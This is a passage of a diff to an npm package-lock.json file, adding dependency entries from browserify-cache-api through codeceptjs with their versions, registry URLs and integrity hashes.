"^1.0.2", + "cipher-base": "^1.0.0", + "create-hash": "^1.1.0", + "evp_bytestokey": "^1.0.0", + "inherits": "^2.0.1" + } + }, + "browserify-cache-api": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/browserify-cache-api/-/browserify-cache-api-3.0.1.tgz", + "integrity": "sha1-liR+hT8Gj9bg1FzHPwuyzZd47wI=", + "dev": true, + "requires": { + "async": "^1.5.2", + "through2": "^2.0.0", + "xtend": "^4.0.0" + } + }, + "browserify-cipher": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.0.tgz", + "integrity": "sha1-mYgkSHS/XtTijalWZtzWasj8Njo=", + "dev": true, + "requires": { + "browserify-aes": "^1.0.4", + "browserify-des": "^1.0.0", + "evp_bytestokey": "^1.0.0" + } + }, + "browserify-des": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.0.tgz", + "integrity": "sha1-2qJ3cXRwki7S/hhZQRihdUOXId0=", + "dev": true, + "requires": { + "cipher-base": "^1.0.1", + "des.js": "^1.0.0", + "inherits": "^2.0.1" + } + }, + "browserify-incremental": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/browserify-incremental/-/browserify-incremental-3.1.1.tgz", + "integrity": "sha1-BxPLdYckemMqnwjPG9FpuHi2Koo=", + "dev": true, + "requires": { + "browserify-cache-api": "^3.0.0", + "JSONStream": "^0.10.0", + "through2": "^2.0.0", + "xtend": "^4.0.0" + }, + "dependencies": { + "jsonparse": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-0.0.5.tgz", + "integrity": "sha1-MwVCrT8KZUZlt3jz6y2an6UHrGQ=", + "dev": true + }, + "JSONStream": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-0.10.0.tgz", + "integrity": "sha1-dDSdDYlSK3HzDwoD/5vSDKbxKsA=", + "dev": true, + "requires": { + "jsonparse": "0.0.5", + "through": ">=2.2.7 <3" + } + } + } + }, + "browserify-rsa": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", + "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", + "dev": true, + "requires": { + "bn.js": "^4.1.0", + "randombytes": "^2.0.1" + } + }, + "browserify-sign": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.0.4.tgz", + "integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=", + "dev": true, + "requires": { + "bn.js": "^4.1.1", + "browserify-rsa": "^4.0.0", + "create-hash": "^1.1.0", + "create-hmac": "^1.1.2", + "elliptic": "^6.0.0", + "inherits": "^2.0.1", + "parse-asn1": "^5.0.0" + } + }, + "browserify-zlib": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", + "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", + "dev": true, + "requires": { + "pako": "~1.0.5" + } + }, + "browserslist": { + "version": "3.2.8", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz", + "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", + "dev": true, + "requires": { + "caniuse-lite": "^1.0.30000844", + "electron-to-chromium": "^1.3.47" + } + }, + "bser": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "peer": true, + "requires": { + "node-int64": "^0.4.0" + } + }, + "buffer": { + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz", + "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=", + "dev": true, + "requires": { + "base64-js": "^1.0.2", + "ieee754": "^1.1.4", + "isarray": "^1.0.0" + } + }, + "buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", + "dev": true + }, + "buffer-from": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.0.tgz", + "integrity": "sha512-c5mRlguI/Pe2dSZmpER62rSCu0ryKmWddzRYsuXc50U2/g8jMOulc31VZMa4mYx31U5xsmSOpDCgH88Vl9cDGQ==" + }, + "buffer-xor": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz", + "integrity": "sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=", + "dev": true + }, + "builtin-modules": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", + "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=", + "dev": true + }, + "builtin-status-codes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz", + "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=", + "dev": true + }, + "bytes": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-1.0.0.tgz", + "integrity": "sha1-NWnt6Lo0MV+rmcPpLLBMciDeH6g=", + "dev": true + }, + "cacache": { + "version": "10.0.4", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-10.0.4.tgz", + "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", + "dev": true, + "requires": { + "bluebird": "^3.5.1", + "chownr": "^1.0.1", + "glob": "^7.1.2", + "graceful-fs": "^4.1.11", + "lru-cache": "^4.1.1", + "mississippi": "^2.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.2", + "ssri": "^5.2.4", + "unique-filename": "^1.1.0", + "y18n": "^4.0.0" + }, + "dependencies": { + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "y18n": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", + "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", + "dev": true + } + } + }, + "cache-base": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", + "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", + "requires": { + "collection-visit": "^1.0.0", + "component-emitter": "^1.2.1", + "get-value": "^2.0.6", + "has-value": "^1.0.0", + "isobject": "^3.0.1", + "set-value": "^2.0.0", + "to-object-path": "^0.3.0", + "union-value": "^1.0.0", + "unset-value": "^1.0.0" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "cached-path-relative": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cached-path-relative/-/cached-path-relative-1.0.1.tgz", + "integrity": "sha1-0JxLUoAKpMB44t2BqGmqyQ0uVOc=", + "dev": true + }, + "caller-callsite": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/caller-callsite/-/caller-callsite-2.0.0.tgz", + "integrity": "sha512-JuG3qI4QOftFsZyOn1qq87fq5grLIyk1JYd5lJmdA+fG7aQ9pA/i3JIJGcO3q0MrRcHlOt1U+ZeHW8Dq9axALQ==", + "peer": true, + "requires": { + "callsites": "^2.0.0" + }, + "dependencies": { + "callsites": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-2.0.0.tgz", + "integrity": "sha512-ksWePWBloaWPxJYQ8TL0JHvtci6G5QTKwQ95RcWAa/lzoAKuAOflGdAK92hpHXjkwb8zLxoLNUoNYZgVsaJzvQ==", + "peer": true + } + } + }, + "caller-path": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-0.1.0.tgz", + "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=", + "dev": true, + "requires": { + "callsites": "^0.2.0" + } + }, + "callsites": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-0.2.0.tgz", + "integrity": "sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=", + "dev": true + }, + "camelcase": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", + "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=", + "dev": true + }, + "camelcase-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz", + "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", + "dev": true, + "requires": { + "camelcase": "^2.0.0", + "map-obj": "^1.0.0" + } + }, + "caniuse-api": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-1.6.1.tgz", + "integrity": "sha1-tTTnxzTE+B7F++isoq0kNUuWLGw=", + "dev": true, + "requires": { + "browserslist": "^1.3.6", + "caniuse-db": "^1.0.30000529", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + }, + "dependencies": { + "browserslist": { + "version": "1.7.7", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", + "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", + "dev": true, + "requires": { + "caniuse-db": "^1.0.30000639", + "electron-to-chromium": "^1.2.7" + } + }, + "lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", + "dev": true + } + } + }, + "caniuse-db": { + "version": "1.0.30000860", + "resolved": "https://registry.npmjs.org/caniuse-db/-/caniuse-db-1.0.30000860.tgz", + "integrity": "sha1-XOqyU6rhcrXwrNDVQoulAcSwjUE=", + "dev": true + }, + "caniuse-lite": { + "version": "1.0.30001458", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001458.tgz", + "integrity": "sha512-lQ1VlUUq5q9ro9X+5gOEyH7i3vm+AYVT1WDCVB69XOZ17KZRhnZ9J0Sqz7wTHQaLBJccNCHq8/Ww5LlOIZbB0w==" + }, + "caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", + "dev": true + }, + "center-align": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/center-align/-/center-align-0.1.3.tgz", + "integrity": "sha1-qg0yYptu6XIgBBHL1EYckHvCt60=", + "dev": true, + "requires": { + "align-text": "^0.1.3", + "lazy-cache": "^1.0.3" + } + }, + "chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", + "requires": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + } + }, + "character-parser": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/character-parser/-/character-parser-2.2.0.tgz", + "integrity": "sha1-x84o821LzZdE5f/CxfzeHHMmH8A=", + "dev": true, + "requires": { + "is-regex": "^1.0.3" + } + }, + "chardet": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz", + "integrity": "sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=", + "dev": true + }, + "charenc": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", + "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=", + "dev": true + }, + "chart.js": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-2.7.2.tgz", + "integrity": "sha512-90wl3V9xRZ8tnMvMlpcW+0Yg13BelsGS9P9t0ClaDxv/hdypHDr/YAGf+728m11P5ljwyB0ZHfPKCapZFqSqYA==", + "requires": { + "chartjs-color": "^2.1.0", + "moment": "^2.10.2" + } + }, + "chartjs-color": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/chartjs-color/-/chartjs-color-2.2.0.tgz", + "integrity": "sha1-hKL7dVeH7YXDndbdjHsdiEKbrq4=", + "requires": { + "chartjs-color-string": "^0.5.0", + "color-convert": "^0.5.3" + } + }, + "chartjs-color-string": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/chartjs-color-string/-/chartjs-color-string-0.5.0.tgz", + "integrity": "sha512-amWNvCOXlOUYxZVDSa0YOab5K/lmEhbFNKI55PWc4mlv28BDzA7zaoQTGxSBgJMHIW+hGX8YUrvw/FH4LyhwSQ==", + "requires": { + "color-name": "^1.0.0" + } + }, + "chokidar": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-1.7.0.tgz", + "integrity": "sha1-eY5ol3gVHIB2tLNg5e3SjNortGg=", + "dev": true, + "requires": { + "anymatch": "^1.3.0", + "async-each": "^1.0.0", + "fsevents": "^1.0.0", + "glob-parent": "^2.0.0", + "inherits": "^2.0.1", + "is-binary-path": "^1.0.0", + "is-glob": "^2.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.0.0" + } + }, + "chownr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz", + "integrity": "sha1-4qdQQqlVGQi+vSW4Uj1fl2nXkYE=", + "dev": true + }, + "chrome-trace-event": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", + "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", + "dev": true, + "requires": { + "tslib": "^1.9.0" + } + }, + "ci-info": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.8.0.tgz", + "integrity": "sha512-eXTggHWSooYhq49F2opQhuHWgzucfF2YgODK4e1566GQs5BIfP30B0oenwBJHfWxAs2fyPB1s7Mg949zLf61Yw==", + "peer": true + }, + "cipher-base": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.3.tgz", + "integrity": "sha1-7qvxlEGc6QDaMBjCB9IS8qbfCgc=", + "dev": true, + "requires": { + "inherits": "^2.0.1" + } + }, + "circular-json": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.3.3.tgz", + "integrity": "sha1-gVyZ6oT2gJUp0vRXkb34JxE1LWY=", + "dev": true + }, + "clap": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/clap/-/clap-1.2.3.tgz", + "integrity": "sha512-4CoL/A3hf90V3VIEjeuhSvlGFEHKzOz+Wfc2IVZc+FaUgU0ZQafJTP49fvnULipOPcAfqhyI2duwQyns6xqjYA==", + "dev": true, + "requires": { + "chalk": "^1.1.3" + } + }, + "class-utils": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", + "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", + "requires": { + "arr-union": "^3.1.0", + "define-property": "^0.2.5", + "isobject": "^3.0.0", + "static-extend": "^0.1.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "classnames": { + "version": "2.2.6", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz", + "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==" + }, + "cli": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz", + "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=", + "dev": true, + "requires": { + "exit": "0.1.2", + "glob": "^7.1.1" + }, + "dependencies": { + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "cli-cursor": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", + "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", + "dev": true, + "requires": { + "restore-cursor": "^2.0.0" + } + }, + "cli-spinners": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.7.0.tgz", + "integrity": "sha512-qu3pN8Y3qHNgE2AFweciB1IfMnmZ/fsNTEE+NOFjmGB2F/7rLhnhzppvpCnN4FovtP26k8lHyy9ptEbNwWFLzw==", + "peer": true + }, + "cli-width": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.0.tgz", + "integrity": "sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=", + "dev": true + }, + "cliui": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", + "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "dev": true, + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wrap-ansi": "^2.0.0" + } + }, + "clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=" + }, + "clone-deep": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz", + "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==", + "dev": true, + "requires": { + "for-own": "^1.0.0", + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.0", + "shallow-clone": "^1.0.0" + }, + "dependencies": { + "for-own": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", + "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", + "dev": true, + "requires": { + "for-in": "^1.0.1" + } + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + } + } + }, + "co": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", + "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=", + "dev": true + }, + "coa": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/coa/-/coa-1.0.4.tgz", + "integrity": "sha1-qe8VNmDWqGqL3sAomlxoTSF0Mv0=", + "dev": true, + "requires": { + "q": "^1.1.2" + } + }, + "code-point-at": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", + "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", + "dev": true + }, + "codeceptjs": { + "version": "2.6.11", + "resolved": "https://registry.npmjs.org/codeceptjs/-/codeceptjs-2.6.11.tgz", + "integrity": "sha512-0MLD6Wclh+RBAJjy4Lw3UovjFylKIamkcqnb4JIudxvOWFotla2iFfTdOTNVt5Tt2BnH+pe1VHbyEhEOARKw7A==", + "dev": true, + "requires": { + "@codeceptjs/configure": "^0.4.1", + "allure-js-commons": "^1.3.2", + "arrify": "^2.0.1", + "axios": "^0.19.1", + "chalk": "^1.1.3", + "commander": "^2.20.3", + "css-to-xpath": "^0.1.0", + "cucumber-expressions": "^6.6.2", + "envinfo": "^7.5.1", + "escape-string-regexp": "^1.0.3", + "figures": "^2.0.0", + "fn-args": "^4.0.0", + "fs-extra": "^8.1.0", + "gherkin": "^5.1.0", + "glob": "^6.0.1", + "inquirer": "^6.5.2", + "js-beautify": "^1.11.0", + "lodash.clonedeep": "^4.5.0", + "lodash.merge": "^4.6.2", + "mkdirp": "^1.0.4", + "mocha": "^6.2.3", + "mocha-junit-reporter": "^1.23.1", + "ms": "^2.1.2", + "parse-function": "^5.5.0", + "promise-retry": "^1.1.1", + "requireg": "^0.2.2", + "resq": "^1.7.1", + "semver": "^6.2.0", + "sprintf-js": "^1.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "arrify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-2.0.1.tgz", + "integrity": "sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==", + "dev": true + }, + "chardet": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", + "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", + "dev": true + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "external-editor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", + "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", + "dev": true, + "requires": { + "chardet": "^0.7.0", + "iconv-lite": "^0.4.24", + "tmp": "^0.0.33" + } + }, + "glob": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz", + "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=", + "dev": true, + "requires": { + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "2 || 3", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true + }, + "inquirer": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.5.2.tgz", + "integrity": "sha512-cntlB5ghuB0iuO65Ovoi8ogLHiWGs/5yNrtUcKjFhSSiVeAIVpD7koaSU9RM8mpXw5YDi9RdYXGQMaOURB7ycQ==", + "dev": true, + "requires": { + "ansi-escapes": "^3.2.0", + "chalk": "^2.4.2", + "cli-cursor": "^2.1.0", + "cli-width": "^2.0.0", + "external-editor": "^3.0.3", + "figures": "^2.0.0", + "lodash": "^4.17.12", + "mute-stream": "0.0.7", + "run-async": "^2.2.0", + "rxjs": "^6.4.0", + "string-width": "^2.1.0", + "strip-ansi": "^5.1.0", + "through": "^2.3.6" + }, + "dependencies": { + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + } + } + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true + }, + "mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + }, + "sprintf-js": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", + "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", + "dev": true + }, + "string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "requires": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "dev": true + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "dev": true, + 